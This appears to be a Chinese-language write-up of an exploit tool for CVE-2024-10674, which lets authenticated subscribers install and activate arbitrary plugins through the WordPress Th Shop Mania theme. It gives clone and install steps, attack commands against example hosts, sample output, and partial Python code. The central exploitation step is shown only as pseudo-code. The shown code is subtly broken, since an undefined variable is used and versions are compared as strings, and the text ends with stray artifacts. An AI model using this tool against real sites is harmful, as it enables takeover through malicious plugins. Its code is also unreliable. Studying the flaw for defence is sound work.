CVE-2024-10674 漏洞利用工具 - Th Shop Mania 主题任意插件安装/激活漏洞

0 阅读4分钟

CVE-2024-10674: Th Shop Mania <= 1.4.9 任意插件安装/激活漏洞利用工具

本项目是针对 WordPress Th Shop Mania 主题中一个高危漏洞(CVE-2024-10674)的概念验证(PoC)利用脚本。该漏洞源于主题的 th_shop_mania_install_and_activate_callback() 函数未能正确执行权限检查,导致拥有订阅者级别及以上权限的认证用户,可以绕过授权,在目标网站上安装并激活任意插件

攻击者可利用此漏洞安装恶意插件,进而实现远程代码执行和权限提升,对网站安全构成严重威胁。此工具仅用于安全研究和教育目的。

功能特性

  • 漏洞检测:自动检查目标 WordPress 网站是否使用了存在漏洞的 Th Shop Mania 主题版本(<= 1.4.9)。
  • 身份认证:使用提供的 WordPress 用户名和密码进行登录认证。
  • 任意插件安装:绕过权限检查,在目标网站上安装指定的 WordPress 插件。
  • 插件自动激活:成功安装插件后,自动将其激活,使其功能立即生效。
  • 默认插件选项:内置默认插件(th-all-in-one-woo-cart),方便快速测试,同时也支持用户自定义插件。
  • 清晰的执行流程:脚本执行过程包含状态提示,如版本检测、登录状态、插件安装激活结果等。

安装指南

系统要求

  • Python 3.x
  • pip Python 包管理工具

安装步骤

  1. 获取项目代码 克隆本仓库到本地:

    git clone https://github.com/Nxploited/CVE-2024-10674.git
    cd CVE-2024-10674
    
  2. 安装依赖 该项目依赖于 requests 库。使用 pip 进行安装:

    pip install requests
    

使用说明

基础用法

脚本通过命令行参数运行。你需要提供目标网址、一个有效的 WordPress 用户凭证。

python exploit_script.py -u <目标网址> -U <用户名> -P <密码> [-p <插件名>]

参数详解

参数 (短)参数 (长)描述是否必须
-u--url目标 WordPress 网站的 URL
-U--usernameWordPress 用户名
-P--passwordWordPress 密码
-p--plugin要安装的插件名称 (默认: th-all-in-one-woo-cart)

使用示例

  1. 使用默认插件进行测试 此命令将使用提供的凭证登录 192.168.1.100 上的 WordPress,检测漏洞并尝试安装默认插件。

    python exploit_script.py -u http://192.168.1.100/wordpress -U subscriber_user -P userpass
    
  2. 安装并激活指定插件 此命令将尝试安装并激活 hello-dolly 插件。

    python exploit_script.py -u http://192.168.1.100/wordpress -U subscriber_user -P userpass -p hello-dolly
    

典型输出

执行成功后,你将看到类似如下的输出信息:

[+] Detected theme version: 1.4.8
[+] Site is vulnerable! Exploiting in 3 seconds...
[+] Logged in successfully.
[+] Installing plugin: hello-dolly
[+] Plugin installed and activated successfully.

核心代码

以下是该漏洞利用工具的核心代码片段及其注释。

1. 漏洞检测函数 check_vulnerability()

import requests
import re
import time

def check_vulnerability(url):
    """
    检查目标网站是否存在 Th Shop Mania 主题漏洞 (<= 1.4.9)。
    Args:
        url: 目标WordPress网站的URL。
    Returns:
        bool: 如果存在漏洞返回True,否则返回False。
    """


    
    try:

        response = requests.get(version_url, timeout=5)
        if response.status_code == 200:
            # 使用正则表达式查找稳定版本标签
            match = re.search(r"Stable tag:\s*([0-9\.]+)", response.text)
            if match:
                version = match.group(1)
                print(f"[+] Detected theme version: {version}")
                # 对比版本号,判断是否易受攻击
                if version <= "1.4.9":
                    print("[+] Site is vulnerable! Exploiting in 3 seconds...")
                    time.sleep(3)
                    return True
                else:
                    print("[-] Site is not vulnerable. Exiting.")
                    return False
            else:
                print("[-] Could not determine theme version. Exiting.")
                return False
        else:

            return False
    except requests.RequestException:
        print("[-] Connection error while checking theme version. Exiting.")
        return False

2. URL规范化函数 normalize_url()

此函数用于确保用户输入的URL包含协议头,避免后续请求失败。

def normalize_url(url):
    """
    确保URL包含协议头(http:// 或 https://),如果没有则默认添加http://。
    Args:
        url: 用户输入的原始URL。
    Returns:
        str: 规范化后的完整URL。
    """
    if not url.startswith(("http://", "https://")):
        print("[!] URL missing schema, adding 'http://'")
        return "http://" + url
    return url

3. 主程序入口与参数解析

使用 argparse 模块处理命令行参数,并将它们传递给核心利用逻辑。

import argparse

# 创建参数解析器
parser = argparse.ArgumentParser(description="Exploit for CVE-2024-10674 (# By Nxploit | Khaled alenazi,)")

# 定义必须的命令行参数
parser.add_argument("-u", "--url", required=True, help="Target WordPress URL (e.g., http://192.168.100.74:888/wordpress)")
parser.add_argument("-U", "--username", required=True, help="WordPress username")
parser.add_argument("-P", "--password", required=True, help="WordPress password")
parser.add_argument("-p", "--plugin", default="th-all-in-one-woo-cart", help="Plugin to install (default: All In One Woo Cart)")

# 解析参数
args = parser.parse_args()

# 参数解析后的利用代码逻辑 (以下为伪代码,示意流程)
# target_url = normalize_url(args.url)
# username = args.username
# password = args.password
# plugin_to_install = args.plugin
#
# if check_vulnerability(target_url):
#     # 执行登录、获取nonce、安装插件等后续操作
#     pass
```FINISHED
6HFtX5dABrKlqXeO5PUv/7Vf5QUdtOJiR8MOLNFcNEY=